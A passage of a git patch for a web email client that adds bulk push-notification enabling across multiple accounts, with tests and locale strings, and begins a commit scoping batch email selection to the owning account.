; +} diff --git a/components/settings/notification-settings.tsx b/components/settings/notification-settings.tsx index 2864b3958..3170c8007 100644 --- a/components/settings/notification-settings.tsx +++ b/components/settings/notification-settings.tsx @@ -11,6 +11,7 @@ import { Loader2, RefreshCw, Volume2, XCircle } from 'lucide-react'; import { usePolicyStore } from '@/stores/policy-store'; import { useAuthStore } from '@/stores/auth-store'; import { ConfirmDialog } from '@/components/ui/confirm-dialog'; +import { MultiAccountPushSettings } from './multi-account-push'; import { useConfirmDialog } from '@/hooks/use-confirm-dialog'; import { WebPushUnsupportedError, @@ -251,6 +252,8 @@ export function NotificationSettings() { )} + + {client && (
diff --git a/lib/__tests__/web-push.test.ts b/lib/__tests__/web-push.test.ts index 369266b2a..02fc80183 100644 --- a/lib/__tests__/web-push.test.ts +++ b/lib/__tests__/web-push.test.ts @@ -4,6 +4,7 @@ import type { EmailPushConfig, PushSubscription as JmapPushSubscription } from ' import { disableWebPush, enableWebPush, + enableWebPushForAccounts, listPushDevices, resetWebPushResyncState, resyncWebPush, @@ -454,3 +455,40 @@ describe('revokePushDevice', () => { expect(localStorage.getItem(SUB_KEY)).toBeNull(); }); }); + +describe('enableWebPushForAccounts', () => { + it('registers every account against the one browser subscription', async () => { + const first = makeClient([]); + const second = makeClient([]); + installFetch({}); + + const result = await enableWebPushForAccounts([ + { accountId: 'a', client: first, accountLabel: 'one' }, + { accountId: 'b', client: second, accountLabel: 'two' }, + ], { relayBaseUrl: RELAY }); + + expect(result.enabled).toEqual(['a', 'b']); + expect(result.failed).toEqual([]); + expect(first.createPushSubscription).toHaveBeenCalledTimes(1); + expect(second.createPushSubscription).toHaveBeenCalledTimes(1); + }); + + it('stops at a browser-level refusal instead of prompting once per account', async () => { + const first = makeClient([]); + const second = makeClient([]); + installFetch({}); + // Blocked notifications are a property of the browser, not of an account: + // walking on would fail identically for every one of them. + (globalThis as unknown as { Notification: unknown }).Notification = { permission: 'denied' }; + (window as unknown as { Notification: unknown }).Notification = { permission: 'denied' }; + + const result = await enableWebPushForAccounts([ + { accountId: 'a', client: first }, + { accountId: 'b', client: second }, + ], { relayBaseUrl: RELAY }); + + expect(result.enabled).toEqual([]); + expect(result.failed.map(f => f.accountId)).toEqual(['a', 'b']); + expect(second.createPushSubscription).not.toHaveBeenCalled(); + }); +}); diff --git a/lib/web-push.ts b/lib/web-push.ts index 973e1cd5f..ad4ab123d 100644 --- a/lib/web-push.ts +++ b/lib/web-push.ts @@ -695,3 +695,54 @@ export async function resyncWebPush(params: ResyncWebPushParams): Promise; +} + +/** + * Enable push for several accounts against one browser subscription. + * + * The browser only ever holds a single PushSubscription: `enableWebPush` reuses + * it and registers one server-side subscription per account, which is why every + * account has to be walked separately. Sequential on purpose - the first call + * is the one that may prompt for permission, and parallel prompts race. + * + * A browser-level refusal (unsupported, permission denied or dismissed) applies + * to every account, so it stops the walk instead of failing them one by one. + */ +export async function enableWebPushForAccounts( + targets: BulkWebPushTarget[], + options: { relayBaseUrl?: string; forceRecreate?: boolean } = {}, +): Promise { + const result: BulkWebPushResult = { enabled: [], failed: [] }; + let browserRefusal: unknown; + for (const target of targets) { + if (browserRefusal !== undefined) { + result.failed.push({ accountId: target.accountId, error: browserRefusal }); + continue; + } + try { + await enableWebPush({ + client: target.client, + relayBaseUrl: options.relayBaseUrl, + accountLabel: target.accountLabel, + forceRecreate: options.forceRecreate, + }); + result.enabled.push(target.accountId); + } catch (error) { + if (error instanceof WebPushUnsupportedError || !isWebPushSupported() + || Notification.permission !== 'granted') browserRefusal = error; + result.failed.push({ accountId: target.accountId, error }); + } + } + return result; +} diff --git a/locales/ar/common.json b/locales/ar/common.json index 53d4bf6d8..40027e47e 100644 --- a/locales/ar/common.json +++ b/locales/ar/common.json @@ -1183,6 +1183,18 @@ "confirm_revoke_message": "سيتوقّف فورًا عن تلقّي الإشعارات في الخلفية. تفعيل الدفع مجددًا على ذلك الجهاز سيسجّله من جديد.", "confirm_revoke_message_this": "سيتوقّف هذا الجهاز فورًا عن تلقّي الإشعارات في الخلفية." }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "صوت الإشعار", "description": "اختر الصوت الذي يُشغَّل للإشعارات", diff --git a/locales/ca/common.json b/locales/ca/common.json index 686039db0..0ce9f1c47 100644 --- a/locales/ca/common.json +++ b/locales/ca/common.json @@ -1183,6 +1183,18 @@ "confirm_revoke_message": "Deixarà de rebre notificacions en segon pla immediatament. Si hi tornes a activar les notificacions push, es registrarà de nou.", "confirm_revoke_message_this": "Aquest dispositiu deixarà de rebre notificacions en segon pla immediatament." }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "So de notificació", "description": "Trieu quin so es reprodueix per a les notificacions", diff --git a/locales/cs/common.json b/locales/cs/common.json index 5262ee69d..a5f64effd 100644 --- a/locales/cs/common.json +++ b/locales/cs/common.json @@ -1144,6 +1144,18 @@ "swift": "Rychlý", "relax": "Relaxační" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Zvuk oznámení", "description": "Vyberte zvuk, který se přehraje při oznámení", diff --git a/locales/da/common.json b/locales/da/common.json index 09552435b..15560af42 100644 --- a/locales/da/common.json +++ b/locales/da/common.json @@ -1183,6 +1183,18 @@ "confirm_revoke_message": "Den stopper med at modtage baggrundsnotifikationer med det samme. Slår du push til igen på enheden, registreres den på ny.", "confirm_revoke_message_this": "Denne enhed stopper med at modtage baggrundsnotifikationer med det samme." }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Notifikationslyd", "description": "Vælg hvilken lyd der skal afspilles for notifikationer", diff --git a/locales/de/common.json b/locales/de/common.json index 2d39bfc03..673beedd9 100644 --- a/locales/de/common.json +++ b/locales/de/common.json @@ -1144,6 +1144,18 @@ "swift": "Schnelle Geste", "relax": "Entspannt" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Benachrichtigungston", "description": "Wählen Sie den Ton für Benachrichtigungen", diff --git a/locales/en/common.json b/locales/en/common.json index 78a509e09..19346029c 100644 --- a/locales/en/common.json +++ b/locales/en/common.json @@ -1183,6 +1183,18 @@ "confirm_revoke_message": "It will stop receiving background notifications immediately. Enabling push again on that device registers it anew.", "confirm_revoke_message_this": "This device will stop receiving background notifications immediately." }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Notification Sound", "description": "Choose which sound to play for notifications", diff --git a/locales/es/common.json b/locales/es/common.json index ae2413a7f..85f70d57e 100644 --- a/locales/es/common.json +++ b/locales/es/common.json @@ -1144,6 +1144,18 @@ "swift": "Gesto rápido", "relax": "Relajado" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Sonido de notificación", "description": "Elige qué sonido reproducir para las notificaciones", diff --git a/locales/fa/common.json b/locales/fa/common.json index c454007f8..380af698a 100644 --- a/locales/fa/common.json +++ b/locales/fa/common.json @@ -1183,6 +1183,18 @@ "confirm_revoke_message": "بی‌درنگ دریافت اعلان‌های پس‌زمینه را متوقف می‌کند. با روشن‌کردن دوبارهٔ پوش روی آن دستگاه، دوباره ثبت می‌شود.", "confirm_revoke_message_this": "این دستگاه بی‌درنگ دریافت اعلان‌های پس‌زمینه را متوقف می‌کند." }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "صدای اعلان", "description": "صدای پخش شده برای اعلان‌ها", diff --git a/locales/fr/common.json b/locales/fr/common.json index 738fd0b3f..5e1237dce 100644 --- a/locales/fr/common.json +++ b/locales/fr/common.json @@ -1144,6 +1144,18 @@ "swift": "Geste rapide", "relax": "Détente" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Son de notification", "description": "Choisissez le son à jouer pour les notifications", diff --git a/locales/he/common.json b/locales/he/common.json index a03914d4f..4b6432e52 100644 --- a/locales/he/common.json +++ b/locales/he/common.json @@ -1109,6 +1109,18 @@ "swift": "מחווה מהירה", "relax": "תירגע" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "צליל התראה", "description": "בחר איזה צליל להפעיל עבור התראות", diff --git a/locales/hu/common.json b/locales/hu/common.json index d348bccb5..5482d43fe 100644 --- a/locales/hu/common.json +++ b/locales/hu/common.json @@ -1183,6 +1183,18 @@ "confirm_revoke_message": "Azonnal nem kap több háttérértesítést. Ha az eszközön újra bekapcsolja a push értesítéseket, újra regisztrálódik.", "confirm_revoke_message_this": "Ez az eszköz azonnal nem kap több háttérértesítést." }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Értesítési hang", "description": "Válaszd ki az értesítésekhez használt hangot", diff --git a/locales/it/common.json b/locales/it/common.json index 30c7ab7af..bbffa0958 100644 --- a/locales/it/common.json +++ b/locales/it/common.json @@ -1144,6 +1144,18 @@ "swift": "Gesto veloce", "relax": "Rilassante" }, + "push_all": { + "title": "Tutti gli account", + "description": "Attiva o disattiva le notifiche per più account in una volta sola. Una sola iscrizione del browser li serve tutti.", + "select_all": "Seleziona tutti gli account collegati", + "state_on": "notifiche attive", + "state_off": "notifiche non attive", + "enable_selected": "Attiva per i selezionati", + "disable_selected": "Disattiva per i selezionati", + "result_enabled": "Notifiche attivate per {count} account.", + "result_partial": "Attivate per {enabled} account; {failed} non è stato possibile attivarle.", + "result_disabled": "Notifiche disattivate per {count} account." + }, "sound_selection": { "title": "Suono di notifica", "description": "Scegli quale suono riprodurre per le notifiche", diff --git a/locales/ja/common.json b/locales/ja/common.json index c6555f190..bed548ec7 100644 --- a/locales/ja/common.json +++ b/locales/ja/common.json @@ -1144,6 +1144,18 @@ "swift": "スウィフトジェスチャー", "relax": "リラックス" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "通知音", "description": "通知に使用する音を選択", diff --git a/locales/ko/common.json b/locales/ko/common.json index 93f56bda1..52073f6b1 100644 --- a/locales/ko/common.json +++ b/locales/ko/common.json @@ -1144,6 +1144,18 @@ "swift": "빠르게", "relax": "차분하게" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "알림음", "description": "알림이 올 때 재생할 소리를 선택해 주세요", diff --git a/locales/lv/common.json b/locales/lv/common.json index b31dd7047..bdab467b3 100644 --- a/locales/lv/common.json +++ b/locales/lv/common.json @@ -1144,6 +1144,18 @@ "swift": "Ātrs", "relax": "Relaksējošs" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Paziņojuma skaņa", "description": "Izvēlieties skaņu paziņojumiem", diff --git a/locales/mn/common.json b/locales/mn/common.json index 0fc2b17f2..22053f418 100644 --- a/locales/mn/common.json +++ b/locales/mn/common.json @@ -1183,6 +1183,18 @@ "confirm_revoke_message": "Тэр даруй араарх мэдэгдэл хүлээн авахаа болино. Тухайн төхөөрөмж дээр push-ыг дахин асаавал дахин бүртгэгднэ.", "confirm_revoke_message_this": "Энэ төхөөрөмж тэр даруй араарх мэдэгдэл хүлээн авахаа болино." }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Мэдэгдэлийн дуу", "description": "Мэдэгдэл авахын тулд ямар дууг тоглуулахаа сонгоно уу", diff --git a/locales/nb/common.json b/locales/nb/common.json index 3648dccfc..555de1f2f 100644 --- a/locales/nb/common.json +++ b/locales/nb/common.json @@ -1183,6 +1183,18 @@ "confirm_revoke_message": "Enheten slutter umiddelbart å motta bakgrunnsvarsler. Hvis pushvarsler aktiveres på nytt på enheten, registreres den på nytt.", "confirm_revoke_message_this": "Denne enheten slutter umiddelbart å motta bakgrunnsvarsler." }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Varslingslyd", "description": "Velg hvilken lyd som skal spilles av for varsler", diff --git a/locales/nl/common.json b/locales/nl/common.json index 12e564a77..4b629004b 100644 --- a/locales/nl/common.json +++ b/locales/nl/common.json @@ -1144,6 +1144,18 @@ "swift": "Snel gebaar", "relax": "Ontspannen" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Meldingsgeluid", "description": "Kies welk geluid wordt afgespeeld voor meldingen", diff --git a/locales/pl/common.json b/locales/pl/common.json index e903226ee..cfc7d6dd5 100644 --- a/locales/pl/common.json +++ b/locales/pl/common.json @@ -1144,6 +1144,18 @@ "swift": "Szybki gest", "relax": "Relaks" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Dźwięk powiadomienia", "description": "Wybierz dźwięk odtwarzany dla powiadomień", diff --git a/locales/pt/common.json b/locales/pt/common.json index bb8f8c8fc..d623f1cde 100644 --- a/locales/pt/common.json +++ b/locales/pt/common.json @@ -1144,6 +1144,18 @@ "swift": "Gesto rápido", "relax": "Relaxante" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Som de notificação", "description": "Escolha qual som reproduzir para notificações", diff --git a/locales/ro/common.json b/locales/ro/common.json index 0af8fbf90..f9690457c 100644 --- a/locales/ro/common.json +++ b/locales/ro/common.json @@ -1183,6 +1183,18 @@ "confirm_revoke_message": "Va înceta imediat să primească notificări în fundal. Reactivarea push pe acel dispozitiv îl va înregistra din nou.", "confirm_revoke_message_this": "Acest dispozitiv va înceta imediat să primească notificări în fundal." }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Sunet de notificare", "description": "Alegeți ce sunet să se redea pentru notificări", diff --git a/locales/ru/common.json b/locales/ru/common.json index bd08b879c..fb8648b06 100644 --- a/locales/ru/common.json +++ b/locales/ru/common.json @@ -1144,6 +1144,18 @@ "swift": "Быстрый жест", "relax": "Релакс" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Звук уведомления", "description": "Выберите звук для уведомлений", diff --git a/locales/sk/common.json b/locales/sk/common.json index 2e17b787a..43879446a 100644 --- a/locales/sk/common.json +++ b/locales/sk/common.json @@ -1147,6 +1147,18 @@ "swift": "Rýchly", "relax": "Relaxačný" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Zvuk oznámenia", "description": "Vyberte zvuk, ktorý sa prehrá pri oznámení", diff --git a/locales/tr/common.json b/locales/tr/common.json index f6755de49..4cc0783c1 100644 --- a/locales/tr/common.json +++ b/locales/tr/common.json @@ -1144,6 +1144,18 @@ "swift": "Hızlı Jest", "relax": "Rahatla" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Bildirim Sesi", "description": "Bildirimler için hangi sesin çalınacağını seçin", diff --git a/locales/uk/common.json b/locales/uk/common.json index a896c863c..63d19c065 100644 --- a/locales/uk/common.json +++ b/locales/uk/common.json @@ -1144,6 +1144,18 @@ "swift": "Швидкий жест", "relax": "Розслабтеся" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "Звук сповіщення", "description": "Виберіть звук для сповіщень", diff --git a/locales/zh-TW/common.json b/locales/zh-TW/common.json index 289ce6d53..6f8818fb6 100644 --- a/locales/zh-TW/common.json +++ b/locales/zh-TW/common.json @@ -1183,6 +1183,18 @@ "confirm_revoke_message": "此裝置會立即停止接收背景通知。若在該裝置上再次啟用推送,將重新註冊。", "confirm_revoke_message_this": "此裝置會立即停止接收背景通知。" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "通知聲音", "description": "選擇通知時播放的聲音", diff --git a/locales/zh/common.json b/locales/zh/common.json index 2cf732396..fba5f24d2 100644 --- a/locales/zh/common.json +++ b/locales/zh/common.json @@ -1144,6 +1144,18 @@ "swift": "轻快手势", "relax": "放松" }, + "push_all": { + "title": "All accounts", + "description": "Turn push on or off for several accounts at once. One browser subscription serves them all.", + "select_all": "Select every connected account", + "state_on": "notifications on", + "state_off": "notifications off", + "enable_selected": "Enable for selected", + "disable_selected": "Disable for selected", + "result_enabled": "Notifications enabled for {count} accounts.", + "result_partial": "Enabled for {enabled} accounts; {failed} could not be enabled.", + "result_disabled": "Notifications disabled for {count} accounts." + }, "sound_selection": { "title": "通知声音", "description": "选择通知时播放的声音", From fac3bdf31c14eedbb111ddce0a29d46c074b9846 Mon Sep 17 00:00:00 2001 From: lucamzanon Date: Sat, 19 Sep 2026 08:59:21 +0200 Subject: [PATCH 008/358] fix: scope batch selection to the owning account Email ids are unique only within their account, so in a view that merges several - the unified mailbox, and since #1038 the tag view - two unrelated messages can share one. Selection was a set of bare ids resolved with `emails.filter(e => selected.has(e.id))`, so ticking one row also ticked its namesake in another account, and batch delete, move, archive or mark-read then acted on a message nobody selected. Reported by @alyyousuf7 on #1013, where `eiaaaabc` exists in two accounts at once. Selection is now keyed by `emailKeyFor` - the same account scoping #1013 introduced for threads - and the actions take the email rather than its id, so a caller cannot reintroduce the collision by passing a bare id. Unstamped emails keep the bare id as their key, so single-account views are unchanged. The batch actions derive the JMAP ids from the selected emails themselves instead of looking each id up again, which is where the namesake used to ride along, and every place that pruned the selection after a delete or a move now prunes by key. --- .../email/__tests__/thread-list-item.test.tsx | 14 +- components/email/email-list.tsx | 20 +- components/email/thread-email-item.tsx | 14 +- components/email/thread-list-item.tsx | 36 ++-- components/mail/mail-app.tsx | 42 ++-- hooks/use-email-drag.ts | 16 +- hooks/use-mailbox-drop.ts | 6 +- lib/__tests__/account-state-manager.test.ts | 4 +- lib/account-state-manager.ts | 2 +- lib/thread-utils.ts | 17 ++ stores/__tests__/email-archive.test.ts | 4 +- .../email-selection-cross-account.test.ts | 62 ++++++ stores/__tests__/email-selection.test.ts | 62 +++--- .../email-store-archive-missing.test.ts | 4 +- .../email-store-multi-account.test.ts | 6 +- .../email-store-retained-in-view.test.ts | 4 +- .../email-store-shared-folder-actions.test.ts | 4 +- ...email-store-shared-folder-keywords.test.ts | 2 +- .../__tests__/email-store-tag-counts.test.ts | 4 +- .../email-store-tag-view-accounts.test.ts | 6 +- .../email-store-unified-actions.test.ts | 16 +- stores/email-store.ts | 183 ++++++++++-------- 22 files changed, 325 insertions(+), 203 deletions(-) create mode 100644 stores/__tests__/email-selection-cross-account.test.ts diff --git a/components/email/__tests__/thread-list-item.test.tsx b/components/email/__tests__/thread-list-item.test.tsx index f9b312e39..4b3f6d249 100644 --- a/components/email/__tests__/thread-list-item.test.tsx +++ b/components/email/__tests__/thread-list-item.test.tsx @@ -53,7 +53,7 @@ describe('ThreadListItem tag badge', () => { mailLayout: 'split', }); useEmailStore.setState({ - selectedEmailIds: new Set(), + selectedEmailKeys: new Set(), selectedMailbox: 'inbox', }); }); @@ -126,7 +126,7 @@ describe('ThreadListItem multi-message thread', () => { mailLayout: 'split', }); useEmailStore.setState({ - selectedEmailIds: new Set(), + selectedEmailKeys: new Set(), selectedMailbox: 'inbox', }); }); @@ -187,7 +187,7 @@ describe('ThreadListItem row content', () => { mailLayout: 'split', }); useEmailStore.setState({ - selectedEmailIds: new Set(), + selectedEmailKeys: new Set(), selectedMailbox: 'inbox', }); }); @@ -226,8 +226,8 @@ describe('ThreadListItem shift-range avatar selection', () => { // Selection mode active, with the anchor on e1. useEmailStore.setState({ emails: [e1, e2, e3], - selectedEmailIds: new Set(['e1']), - lastSelectedEmailId: 'e1', + selectedEmailKeys: new Set(['e1']), + lastSelectedEmailKey: 'e1', selectedMailbox: 'inbox', }); @@ -237,7 +237,7 @@ describe('ThreadListItem shift-range avatar selection', () => { avatar.dispatchEvent(new MouseEvent('click', { bubbles: true, shiftKey: true })); }); - const selected = useEmailStore.getState().selectedEmailIds; + const selected = useEmailStore.getState().selectedEmailKeys; expect(selected.has('e1')).toBe(true); expect(selected.has('e2')).toBe(true); // the row in between got filled in expect(selected.has('e3')).toBe(true); @@ -256,7 +256,7 @@ describe('ThreadListItem row tint', () => { tintListRowsByTag: true, }); useEmailStore.setState({ - selectedEmailIds: new Set(['email-1']), + selectedEmailKeys: new Set(['email-1']), selectedMailbox: 'inbox', }); }); diff --git a/components/email/email-list.tsx b/components/email/email-list.tsx index 71ef9e256..37bb72a15 100644 --- a/components/email/email-list.tsx +++ b/components/email/email-list.tsx @@ -88,7 +88,7 @@ export function EmailList({ const tSpam = useTranslations('email_viewer.spam'); const { client } = useAuthStore(); const { - selectedEmailIds, + selectedEmailKeys, selectAllEmails: _selectAllEmails, clearSelection, batchMarkAsRead, @@ -227,7 +227,7 @@ export function EmailList({
